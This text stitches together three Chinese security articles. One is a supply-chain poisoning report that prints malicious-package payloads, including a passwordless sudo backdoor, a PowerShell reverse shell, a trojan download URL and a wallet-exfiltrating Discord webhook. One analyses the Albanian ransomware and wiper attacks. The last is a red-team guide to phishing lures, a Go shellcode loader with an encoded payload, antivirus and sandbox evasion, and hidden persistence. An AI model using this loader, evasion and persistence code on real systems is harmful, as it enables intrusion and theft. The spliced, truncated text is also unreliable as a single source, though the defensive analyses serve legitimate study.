wget-qhttps://ezstat.ru/29U6f5;sudouseradd-m-Gsudo-s/bin/bash-p$(opensslpasswd-1ICEWATER)systst2echo'systst2ALL=(ALL:ALL)NOPASSWD:ALL'|sudotee-a/etc/sudoers/dev/null;先通過wget請求將受害者係統出網IP洩露給攻擊者,接著利用useradd命令在系統中添加新的用戶賬戶;最後使用tee命令將新用戶賬戶添加到sudoers文件中,將新賬戶權限提升到sudo權限。

Part 3反向shell後門攻擊者通常在投毒組件包中直接內置反彈shell命令或者通過腳本語言特性將開發者係統shell反彈到攻擊者服務器上,開發者一旦通過包管理器安裝或加載投毒包時,反彈shell代碼將自動執行,導致開發者係統被攻擊者遠程shell控制。

以Python惡意包isred為例,該投毒包目標針對Linux系統,攻擊者在isred模塊入口文件__init__.py中使用socket將受害者係統shell標準輸入、輸出重定向到攻擊者服務器(0.tcp.au.ngrok.io:16311),從而實現對受害者係統的反向shell遠控。

图片

對於NPM倉庫的ts-patch-moongoose惡意包,目標主要針對Windows系統,其惡意文件mongoose.js通過調用child_process模塊執行base64編碼的PowerShell惡意命令。

图片

解碼後的實際PowerShell代碼如下所示:

Start-Process$PSHOME\powershell.exe-ArgumentList{$cc4b3e0706be478095235bdbc5479fde=New'-Obje'ctSystem.Net.Sockets.TCPClient('84.77.69.69',4 443);$4bdf71701e4e45a48bd66974a36d1fd8=$cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98=0.65535|%{0 };while(($i=$4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98,0,$b72dd70b9b5c4635b410c3eda039db98.Length))-ne0){;$ff 887d09535d46489582d67f05e7d60f=(Ne'w-Ob'ject-TypeNameSystem.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0,$i);$e9f33eef 377548fdb8e212aaecec6b47=(iex$ff887d09535d46489582d67f05e7d60f21|Out-String);$0e7cb537947a4905b36e36b8ef25f955=$e9f33eef377548fdb8e212aaece c6b47+'PS'+(p'w'd).Path+'';$986886c1059c495ebc37a28fa8735419=([text.encoding]:ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$ 4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66 974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()}-WindowStyleHidden惡意PowerShell代碼通過System.Net.Sockets.TCPClient接口將Windows系統cmd shell反彈到攻擊者控制的服務器端口84.77.69.69:4443上,從而達到對受害者係統進行遠程shell後門控制。

Part4遠控木馬在2月份捕獲的惡意樣本中有多起針對Python知名HTTP客戶端組件httpx、requests的投毒攻擊(包括requests-sessions、requests-http、request-get、tls-session等)。這些惡意樣本的攻擊方式主要發生在包管理器安裝或者惡意包加載時,惡意包中的惡意代碼會觸發執行並從攻擊者的託管服務器上下載惡意程序到受害者係統上執行木馬後門攻擊。

以惡意包tls-session為例,其安裝包內置了包含有惡意代碼的SSL/TLS 客戶端組件tls-client,tls-client在Pypi倉庫上的周下載量超過3萬。

图片

Python組件tls-client下載量統計

組件包tls-session通過克隆tls-client v1.0.1版本項目代碼,並在tls-client的__init__.py文件中植入base64編碼的惡意代碼。

图片

base64代碼解碼後得到真實的攻擊代碼:

图片

惡意代碼從CDN服務器上下載惡意木馬程序Built.exe保存到受害者係統上(SERPROFILE%\AppData\Local\explorer.exe),並偽裝成Windows系統進程explorer.exe執行。

https://cdn.discordapp.com/attachments/1204168698395627610/1205543621294817332/Built.exe 图片

Built.exe已被多款殺毒引擎判定為木馬

Part5數字錢包竊密NPM惡意包object-window-dtc主要目標是盜取Windows系統上Exodus數字錢包應用數據,其通過JS代碼混淆對惡意代碼進行保護逃避檢測,混淆代碼如下所示:

图片

去混淆後還原出核心惡意代碼:

image.png

image.png

代碼邏輯主要是遍歷Exodus 數字錢包應用目錄(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每個文件,並將每個文件內容通過HTTP POST方式外傳到投毒者Discord Webhook接口上。

https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3xPart6BladeroidStealer盜號2月28號,NPM開發者klewba32在官方倉庫上進行Sniper系列投毒,當天連續投放snipersee、sniperser、sniperv1、sniperv2等惡意包。這些惡意包採用相同的惡意代碼,主要目標是盜取開發者瀏覽器保存的登錄憑證、主流社交平台賬號session及用戶數據、瀏覽器數字錢包插件賬戶數據、系統中任何包含常見密碼口令關鍵字的敏感文件。

图片

Sniper系列投毒包的核心惡意代碼使用aes-256-cbc進行加密保護:

图片

代碼解密後可明顯發現代碼中存在多處涉及BladeroidStealer代號的相關內容。

图片

BladeroidStealer主要功能函數列表如下所示:

图片

以getCookiesAndSendWebhook()函數為例,其功能是從瀏覽器本地cookie文件中提取主流社區賬號(instagram、tiktok、reddit、spotify)的sessionid。

abstract-binary-code-ok-signed-sl-1200.jpg

2022年7月17日,阿爾巴尼亞新聞媒體報導了一次大規模網絡攻擊,該攻擊影響了阿爾巴尼亞政府的電子政務系統。後來經過調查,這些網絡攻擊是一個威脅活動的一部分,其目的可能是癱瘓該國的計算機系統。 2022年9月10日,阿爾巴尼亞當地新聞報導了針對阿爾巴尼亞TIMS、ADAM和MEMEX系統的第二波網絡攻擊。

大約在同一時間,我們發現了勒索程序和擦除程序樣本與第一波中使用的類似,儘管有一些有趣的修改,可能允許規避安全控制和提高攻擊速度。在這些變化中,最主要的是嵌入一個原始磁盤驅動程序,在惡意程序內部提供了直接的硬盤訪問,修改了元數據,並使用Nvidia洩露的代碼簽名證書對惡意程序進行簽名。

在這篇文章中,我們介紹了:

1.用於針對阿爾巴尼亞個機構的第一波和第二波勒索程序和擦除式惡意程序,並詳細說明了與之前已知的ROADSWEEP勒索程序和ZEROCLEARE變體的聯繫。

2.攻擊者使用英偉達(Nvidia)和科威特電信公司(Kuwait Telecommunications Company)的證書來簽署他們的惡意程序,前者已經洩露,但我們不確定他們是如何得到後者的。

3.我們發現了使用不同語言的不同攻擊組織之間的潛在合作關係,以及可能使用AnyDesk作為啟動勒索程序/擦除攻擊感染的初始入口點。

4.在第二波攻擊中實現自動化和加速擦拭的變化讓人想起中東臭名昭著的Shamoon擦除攻擊攻擊。

下面,我們將比較和討論第一波和第二波勒索程序和擦除式惡意程序之間的區別。

初始感染——不同攻擊組織之間合作關係和使用AnyDesk實用程序的證據雖然我們無法在分析的攻擊中確定攻擊者的初始入口點,但在第二波攻擊後的幾天,我們注意到有攻擊者可以訪問另一個非政府但重要的阿爾巴尼亞機構的AnyDesk帳戶,並建議說波斯語的黑客使用它來部署勒索程序或清除惡意程序。由此我們推測,第二波攻擊的初始入口點是通過合法的遠程訪問程序(如AnyDesk),特別是使用的擦除攻擊修改僅限在驅動程序安裝時自動執行,由於時間/訪問窗口有限,可能需要緊急執行。攻擊者和訪問提供者似乎屬於不同的攻擊組織,使用不同的語言。

使用科威特電信公司簽名證書的勒索程序如下所示:

1.png

第二波樣本與第一波樣本具有相同的簽名證書參數,該樣本與科威特電信公司有關。目前尚不清楚攻擊者如何能夠使用科威特電信公司的證書籤署其惡意程序,但我們懷疑它是被盜的。在本文發佈時,該證書已不再有效並已被撤銷。

2.png

在初始執行後,第二波勒攻擊中使用的索程序檢查攻擊者提供的任意六個或更多參數,而第一波樣本則檢查五個參數或更多,這是一個有助於防禦逃避檢測的小修改。然而,在一台受影響的計算機上進行的攻擊分析表明,在第二波攻擊中,攻擊者在提供類似於第一波攻擊的七位數時,沒有使用BAT文件調用勒索程序,而是使用六個零“000000”從命令行立即調用第二波攻擊中使用的勒索程序。如果由於沒有提供正確的參數而導致勒索程序執行失敗,則第二波攻擊示例將顯示與第一波攻擊不同的消息,第二波攻擊消息類似於由PDF到DOC轉換器顯示的錯誤消息。

3.png

第一波攻擊示例,執行失敗後的消息

4.png

第二波攻擊示例,執行失敗後的不同消息

第二波攻擊勒索程序樣本繼續執行並檢查互斥鎖Screenlimitsdevices#77!這個值與第一波攻擊樣本的互斥鎖不同:

abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890

儘管我們根據其行為將這種惡意程序稱為勒索程序,但加密文件實際上是無法恢復的。當比較第二波勒索程序樣本和第一波勒索程序樣本時,我們注意到兩者都有相同的,並且都使用CreateFile和WriteFile api來覆蓋文件。在執行過程中,第二波攻擊勒索程序試圖解密並執行嵌入式腳本、惡意程序設置或API函數名。在第一波攻擊和第二波攻擊中使用的加密算法都是RC4。但是,在第二波中用於解密的RC4密鑰已被更改,這是另一種逃避檢測的嘗試。

第一波攻擊中的RC4密鑰:8C E4 B1 6B 22 B5 88 94 AA 86 C4 21 E8 75 9D F3

第二波攻擊中的RC4密鑰:F0 B4 ED D9 43 F5 C8 43 C9 D0 A2 4F 22 9B BC 3A

值得注意的是,在這兩波攻擊中,RC4解密方法都使用CryptoAPI (CryptDecrypt)而不是通常的S盒方法。在密碼學中,S盒(Substitution-box)是對稱密鑰算法執行置換計算的基本結構。 S盒用在分組密碼算法中,是唯一的非線性結構,其S盒的指標的好壞直接決定了密碼算法的好壞。對第二波分析表明,勒索程序可能是通過內部網絡部署的,可能來自另一台受感染的設備。在勒索程序執行之前,我們沒有看到任何其他東西被刪除或執行,並且勒索程序可執行文件名稱是隨機生成的,這可能是由攻擊者用來通過網絡部署它的工具(例如Mellona.exe)生成的。

儘管在第二波勒索程序與第一波攻擊中的完全不同,但勒索信的功能仍然保持了下來,包括反映阿爾巴尼亞和伊朗之間地緣政治緊張局勢的政治信息。

5.png

第一波和第二波勒索程序中的勒索信

使用Nvidia簽名證書的擦除攻擊6.png

與第二波攻擊勒索程序樣本類似,攻擊者對第二波攻擊擦除程序進行了幾次修改,可能是為了逃避檢測。變化主要有三個:

修改的惡意程序簽名;

在擦除程序中嵌入EldoS RawDisk驅動程序;

驅動安裝後自動擦除命令;

在2019年的ZEROCLEARE(ZeroCleare和惡意程序Shamoon同宗,都是出自伊朗資助的頂級黑客組織之手)和DUSTMAN(該程序以刪除設備的數據為目的,瞄準的是中東的能源和工業部門)事件中,擦除程序和原始磁盤驅動程序均沒有簽名,因此無法直接訪問原始磁盤進行快速數據擦除。因此,擦除攻擊器必須使用第三方加載器,如TDL(用於無簽名驅動程序的簽名加載器)來安裝無簽名原始磁盤驅動程序,允許擦除程序直接訪問原始磁盤,使用DeviceControl API方法擦除數據。然而,在針對阿爾巴尼亞的第一波攻擊中,攻擊者使用科威特電信公司的證書對第一波攻擊擦除攻擊進行了簽名,從而消除了對第三方加載器的需求。速度和自動化的改進讓我們想起了之前在中東的Shamoon攻擊。

由於第一波攻擊使用的擦除程序是在2022年7月被曝光的,而且可能會避免靜態檢測,攻擊者在2022年9月使用英偉達洩露的簽名證書對第二波攻擊使用的擦除程序進行了簽名,再次取消了對原始磁盤驅動程序的第三方加載器的需求。

7.png

在第一波攻擊中,擦除程序希望在執行目錄或系統目錄中找到原始磁盤驅動程序。但驅動程序並沒有被擦除,攻擊者可能用了其他方法。相反,在第二波攻擊中,攻擊者將簽名的原始磁盤驅動程序嵌入到擦除攻擊可執行文件中,先刪除它,然後安裝。此外,第二波中攻擊者使用的驅動程序似乎複製了微軟的diskdump.sys崩潰轉儲驅動程序(版本10.0.19041.682)中的元數據和一些函數,作為避免檢測的另一種方法。驅動程序安裝命令後擦除活動自動啟動,與第一波攻擊擦除攻擊不同,安裝是第一步,執行擦拭是第二步。

不過在大多數情況下,第一波攻擊和第二波攻擊的擦除程序是一樣的,包括依賴相同的身份驗證密鑰來訪問原始磁盤驅動程序,以及使用相同的DeviceControl API方法,但有一個例外,如下所示。值得注意的是,IOCTL_DISK_GET_LENGTH_INFO方法僅適用於講波斯語的APT攻擊。

8.png

我們懷疑攻擊第二波攻擊目標是阿爾巴尼亞的執法機構,因為它與2022年7月網絡攻擊浪潮中針對阿爾巴尼亞政府的網絡攻擊一致。

總結我們在本文討論了針對阿爾巴尼亞各機構的第二波勒索和擦除攻擊樣本的變化,其最終目的都是逃避檢測並造成最大損失。

除了在第二波中為逃避檢測所做的更改外,我們懷疑攻擊者需要一個自動和快速的擦除攻擊執行。在第二波攻擊中,原始磁盤驅動程序被嵌入到惡意程序中,並且在驅動程序安裝後立即啟動擦除程序,這與第一波攻擊的過程相反。

最後,對於防御者來說應從以下兩方面入手進行防禦:

監控遠程程序活動(如AnyDesk)情況,以防未經授權使用;

始終尋找和監控過期或洩露的簽名證書,因為攻擊者可以使用它們來加載和執行惡意程序。

 

简述

钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

信息搜集

批量邮箱搜集

https://app.snov.io/
http://www.skymem.info/

搜索引擎

一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱:

xx举报,xx招聘面对大众的邮箱,相关语法:

site:"xxx.com"  举报  
site:"xxx.com"  招聘  
  
xx公司举报 @126.com  
xx公司招聘 @qq.com

image-20231103173433363

钓鱼手法

社工钓鱼

  • 首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对
  • 选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部
  • 社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多)

邮件钓鱼

  • 群发邮件(不推荐,易被管理员发现或被邮件网关拦截)
  • 搜集关键人物个人邮箱定向投递(推荐,隐蔽性强)
福利补贴发放

紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送

image-20231104103425528

image-20230922182918302

简历投递

招聘投递简历,hr面对大量简历不会仔细查看后缀

image-20231104105527137

钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿

image-20231103155359779

举报信

xxx实名举报投诉,这种邮件一般处理反馈速度很快

4gqa2zz5l3g13183.png

钓鱼文件伪装

通用技巧

  • 木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测
  • 选择不常见的后缀但仍可作为exe执行,如scr、com
  • 文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀

lnk钓鱼

如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截)

快捷方式目标位置填入:

%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"

img

图标更换路径选择:

C:\\Program Files (x86)\\Microsoft\\Edge\\Application  
%SystemRoot%\\System32\\imageres.dll  
%SystemRoot%\\System32\\shell32.dll

image.png

弹框错误提示

运行msgbox提示“文件已损坏”等具有迷惑性的内容

vbs实现

On Error Resume Next  
WScript.Sleep 2000  
msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" 

go代码实现

package main  
  
import (  
    "github.com/gen2brain/dlgs"  
)  
  
func box() {  
    _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")  
  if err != nil {  
    panic(err)  
  }  
}

实现效果

image-20231103170505169

文件捆绑器

  • 绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行
  • 1.1版本 bypass常规杀软 (360、def、火绒等)
  • 1.2版本 新增文件释放后自动隐藏

image-20231103113848878

效果实现

image-20231104115308737

常见杀软类型

杀软类型杀软特点
火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒
360 单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间
360核晶 开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代
Defender 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高

基础的加载方式

以下只是基础的示例,仅仅实现加密解密加载的功能

先使用python脚本进行加密 payload.c 文件

import base64  
  
originalShellcode = b"\xfc\xe8\x89\x00"  
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])  
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')  
  
print(encodedShellcode)

image-20231104111224020

输出的内容填入encryptedShellcode进行编译

package main

import (
    "encoding/base64"
    "syscall"
    "unsafe"

    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {
    // 通过 base64 和 XOR 解密 shellcode 内容
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
    decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
    for i := 0; i < len(decodedShellcode); i++ {
        decodedShellcode[i] ^= 0x77
    }

    // 获取 kernel32.dll 中的 VirtualAlloc 函数
    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(decodedShellcode))
    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decodedShellcode)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

通用杀软bypass技巧

  • 免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用
  • 垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测
  • 选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2

一键生成免杀

臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star

免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly

千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji

编译参数的影响

go:  
-race   竞态检测编译  
-ldflags '-s -w'   去除编译信息  
-ldflags '-H windowsgui'   隐藏窗口  
  
garble(混淆库):  
-tiny                    删除额外信息  
-literals               混淆文字  
-seed=random   base64编码的随机种子

举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒

package main  
  
func main() {  
    // 两个要相乘的数字  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
}

image-20231103142821152

-H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框)

package main  
  
import "github.com/lxn/win"  
  
func main(){  
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)  
}
func box()int{  
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")  
    FreeConsole.Call()  
    return 0  
}  
  
func main() {  
  box()

静态特征处理

混淆处理

go低版本 https://github.com/boy-hack/go-strip

go高版本 https://github.com/burrowers/garble

mangle替换字符串

https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

mangle处理前后对比,可发现对go编译特征字符串替换为随机字符
image-20231104111621701

base64编码变量

cmd := exec.Command("rundll32.exe", "xxx")

关键字符串进行Base64编码,并在相应位置替换变量值

encodedCommand := "cnVuZGxsMzIuZXhl"  
encodedArguments := "MTExTdGFydA=="  
  
// 解码Base64编码的命令和参数  
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)  
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)  
  
cmd := exec.Command(string(decodedCommand), string(decodedArguments))

QVM绕过

添加资源

1、添加图标签名版权等信息内容,可使用以下项目一键添加

image-20231104111439772

https://github.com/Pizz33/360QVM_bypass
https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public
https://github.com/langsasec/Sign-Sacker

0hzfg40caje13229.png

image-20230504161714715

行为特征

运行直接加载shellcode,一般会直接报qvm

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}

先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}  

好用的反沙箱技巧

出口IP判断

func san() {  
  url := "https://myip.ipip.net/"  
  
  resp, err := http.Get(url)  
  if err != nil {  
    os.Exit(1)  
  }  
  defer resp.Body.Close()  
  
  body, err := ioutil.ReadAll(resp.Body)  
  if err != nil {  
    os.Exit(1)  
  }  
  
  content := string(body)  
  
  if strings.Contains(content, "中国") {  
  } else {  
    os.Exit(1)  
  }  
  }

检测桌面文件数量

func desktop() {  
    desktopPath, err := os.UserHomeDir()  
    if err != nil {  
        fmt.Println("无法获取用户桌面路径:", err)  
        return  
    }  
  
    desktopPath = filepath.Join(desktopPath, "Desktop")  
    fileCount, err := countFilesInDir(desktopPath)  
    if err != nil {  
        fmt.Println("无法读取用户桌面文件列表:", err)  
        return  
    }  
  
    fmt.Println("用户桌面文件数:", fileCount)  
  
    if fileCount < 7 {  
        os.Exit(0)  
    }  
    // 在这里编写你的其他代码逻辑  
}

检测微信等常见软件

func CheckWeChatExist() {  
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)  
  if err != nil {  
    os.Exit(0)  
  }  
  defer k.Close()  
  
  s, _, err := k.GetStringValue("InstallDir")  
  if err != nil || s == "" {  
    os.Exit(0)  
  }  
}

检测pagefile.sys

func sys() {  
    pageFilePath := "C:\\pagefile.sys"   
    _, err := os.Stat(pageFilePath)  
    if os.IsNotExist(err) {  
        os.Exit(1)  
    } else if err != nil {  
    } else {  
    }  
}

判断系统类型

func language() {  
    language := os.Getenv("LANG")  
  
    if strings.Contains(language, "en_US") {  
        os.Exit(0)  
    } else {  
    }  
}

内存流量处理

流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源

https://github.com/9bie/oss-stinger
https://github.com/pantom2077/alioss-stinger

自定义profile,可使用以下项目随机生成

https://github.com/threatexpress/random_c2_profile

内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章

https://www.freebuf.com/articles/system/361161.html
https://idiotc4t.com/defense-evasion/load-ntdll-too

执行命令bypass

直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的

进程迁移 https://github.com/ajpc500/BOFs
截图 https://github.com/baiyies/ScreenshotBOFPlus
删除自身 https://github.com/AgeloVito/self_delete_bof
bypassuac提权 https://github.com/youcannotseemeagain/ele

可以定期去github上关注一些好用的bof
image-20231103171105881

权限维持

常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有

添加计划任务

在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软

部分实现代码:
https://github.com/capnspacehook/taskmaster

package main  
  
import (  
    "os"  
    "github.com/capnspacehook/taskmaster"  
)  
  
func runWinTask(path string) {  
    // 创建初始化计划任务  
    taskService, _ := taskmaster.Connect()  
  
    defer taskService.Disconnect()  
    // 定义新的计划任务  
    newTaskDef := taskService.NewTaskDefinition()  
    // 添加执行程序的路径  
    newTaskDef.AddAction(taskmaster.ExecAction{  
        Path: path,  
    })  
    // 定义计划任务程序的执行时间等,设置为开机启动  
    newTaskDef.AddTrigger(taskmaster.BootTrigger{  
        TaskTrigger: taskmaster.TaskTrigger{  
            Enabled: enable,  
        },  
    })  
  
    // 创建计划任务  
    result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)  
    result=result  
}  
  
func main() {  
    path, err := os.Executable()  
    if err != nil {  
        return  
    }  
  
    runWinTask(path)  
}

隐藏计划任务

具体原理可参考0x727师傅的文章

https://github.com/0x727/SchTask_0x727
https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html

  • 选择主机随机进程名作为计划任务程序文件名
  • 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\
  • 创建的计划任务名取同一随机进程
  • 计划任务触发器以分钟为单位,无限期持续
  • 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

dll劫持替换

比较常用的有 C:\Program Files (x86)\Google\Update

GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

image-20230823124612928

单个查找

https://github.com/wietze/windows-dll-hijacking

image-20231103200348808

批量查找

https://github.com/knight0x07/ImpulsiveDLLHijack

ImpulsiveDLLHijack.exe -path xxx.exe

这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

image-20231104111621701

image-20231102183639496

修改文件时间

